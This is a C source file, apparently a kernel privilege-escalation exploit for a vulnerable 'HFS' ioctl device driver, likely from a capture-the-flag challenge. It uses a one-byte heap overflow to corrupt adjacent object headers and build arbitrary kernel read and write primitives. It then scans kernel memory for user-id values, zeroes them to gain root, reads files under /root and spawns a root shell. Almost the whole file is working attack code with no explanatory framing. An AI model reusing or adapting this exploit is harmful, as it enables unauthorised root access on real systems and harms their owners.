#include #include #include #include #define HFS_CREATE 0xABCD0001 #define HFS_DESTROY 0xABCD0002 #define HFS_READ 0xABCD0003 #define HFS_WRITE 0xABCD0004 // from gist void dumpHex(const void* data, size_t size) { char ascii[17]; size_t i, j; ascii[16] = '\0'; for (i = 0; i < size; ++i) { printf("%02X ", ((unsigned char*)data)[i]); if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { ascii[i % 16] = ((unsigned char*)data)[i]; } else { ascii[i % 16] = '.'; } if ((i+1) % 8 == 0 || i+1 == size) { printf(" "); if ((i+1) % 16 == 0) { printf("| %s \n", ascii); } else if (i+1 == size) { ascii[(i+1) % 16] = '\0'; if ((i+1) % 16 <= 8) { printf(" "); } for (j = (i+1) % 16; j < 16; ++j) { printf(" "); } printf("| %s \n", ascii); } } } } struct HFS_CREATE_DATA { uint64_t HFS_ID; uint64_t HFS_SIZE; }; struct HFS_DESTROY_DATA { uint64_t HFS_ID; }; struct HFS_READ_DATA { uint64_t HFS_ID; uint64_t HFS_SIZE; char** USER_BUF; }; struct HFS_WRITE_DATA { uint64_t HFS_ID; uint64_t HFS_SIZE; char* USER_BUF; }; int fd; long long int ret; unsigned char buf[0x1000]; unsigned char i_buf[0x1000]; unsigned char w_buf[0x1000]; struct HFS_CREATE_DATA hcd; struct HFS_DESTROY_DATA hdd; struct HFS_READ_DATA hrd; struct HFS_WRITE_DATA hwd; void aWrite(uint64_t ptr, uint64_t size) { memset(buf, 0, 0x1000); hwd.HFS_ID = 0x70; hwd.HFS_SIZE = 0x50; hwd.USER_BUF = buf; memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id) memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size ret = ioctl(fd, HFS_WRITE, &hwd); printf("write ret: %llx\n", ret); memset(w_buf, 0, 0x1000); hwd.HFS_ID = 0x61; hwd.HFS_SIZE = size; hwd.USER_BUF = w_buf; ret = ioctl(fd, HFS_WRITE, &hwd); printf("overwrite ret: %llx\n", ret); } void aRead(uint64_t ptr, uint64_t size) { memset(buf, 0, 0x1000); hwd.HFS_ID = 0x70; hwd.HFS_SIZE = 0x50; hwd.USER_BUF = buf; memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // size memcpy(buf+0x30, "\x61\x00\x00\x00\x00\x00\x00\x00", 0x08); // next obj header (id) memcpy(buf+0x30+0x8, &ptr, 0x08); // next obj ptr memcpy(buf+0x30+0x10, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x08); // next obj size ioctl(fd, HFS_WRITE, &hwd); memset(i_buf, 0, 0x1000); hrd.HFS_ID = 0x61; hrd.HFS_SIZE = size; hrd.USER_BUF = i_buf; ioctl(fd, HFS_READ, &hrd); } int main(int argc, char **argv) { fd = open(argv[1], O_RDWR); if (fd < 0) { printf("failed to open ioctl\n"); exit(-1); return -1; } hcd.HFS_ID = 0x4140; hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("ret: %llx\n", ret); // pad for offset hcd.HFS_ID = 0x4142; hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("ret: %llx\n", ret); hcd.HFS_ID = 0x00; hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("x ret: %llx\n", ret); hcd.HFS_ID = 0x60; // vuln object hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("ret: %llx\n", ret); hwd.HFS_ID = 0x60; hwd.HFS_SIZE = 0x21; hwd.USER_BUF = buf; memcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x28", 0x21); // need to fit the offset. ret = ioctl(fd, HFS_WRITE, &hwd); printf("write ret: %llx\n", ret); hcd.HFS_ID = 0x61; // vuln object hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("ret: %llx\n", ret); hcd.HFS_ID = 0x62; // vuln object hcd.HFS_SIZE = 0x20; ret = ioctl(fd, HFS_CREATE, &hcd); printf("ret: %llx\n", ret); hwd.HFS_ID = 0x61; hwd.HFS_SIZE = 0x21; hwd.USER_BUF = buf; printf("[+] Overwriting Offset ..\n"); memcpy(buf+0x10+0x8, "\x70\x00\x00\x00\x00\x00\x00\x00", 0x8); // overwrite id memcpy(buf+0x10+0x10, "\x50", 0x1); // overwrite offset ret = ioctl(fd, HFS_WRITE, &hwd); printf("write ret: %llx\n", ret); // overwrite size hwd.HFS_ID = 0x70; hwd.HFS_SIZE = 0x8; hwd.USER_BUF = buf; printf("[+] Overwriting Size ..\n"); memcpy(buf, "\xff\xff\xff\xff\x00\x00\x00\x00", 0x8); // overwrite size ret = ioctl(fd, HFS_WRITE, &hwd); printf("write ret: %llx\n", ret); for (uint64_t i=0xffff880005000000; i<=0xffff880006fff000; i+=0x1000) { aRead(i, 0x1000); for (int j=0; j< 0x1000; j+= 4) { if (i_buf[j] == 0xe8 && i_buf[j+1] == 0x03 && i_buf[j+2] == 0x00&& i_buf[j+3] == 0x00) { printf("found!: %llx\n", i+j); memset(w_buf, 0, 4); aWrite(i+j, 4); } } // printf("[%llx]\n", i); // dumpHex(i_buf, 0x1000); } aRead(0xffffffffa0000000, 0x100); dumpHex(i_buf, 0x100); setuid(0); system("ls -al /root"); system("cat /root/*"); system("/bin/sh"); return 0; }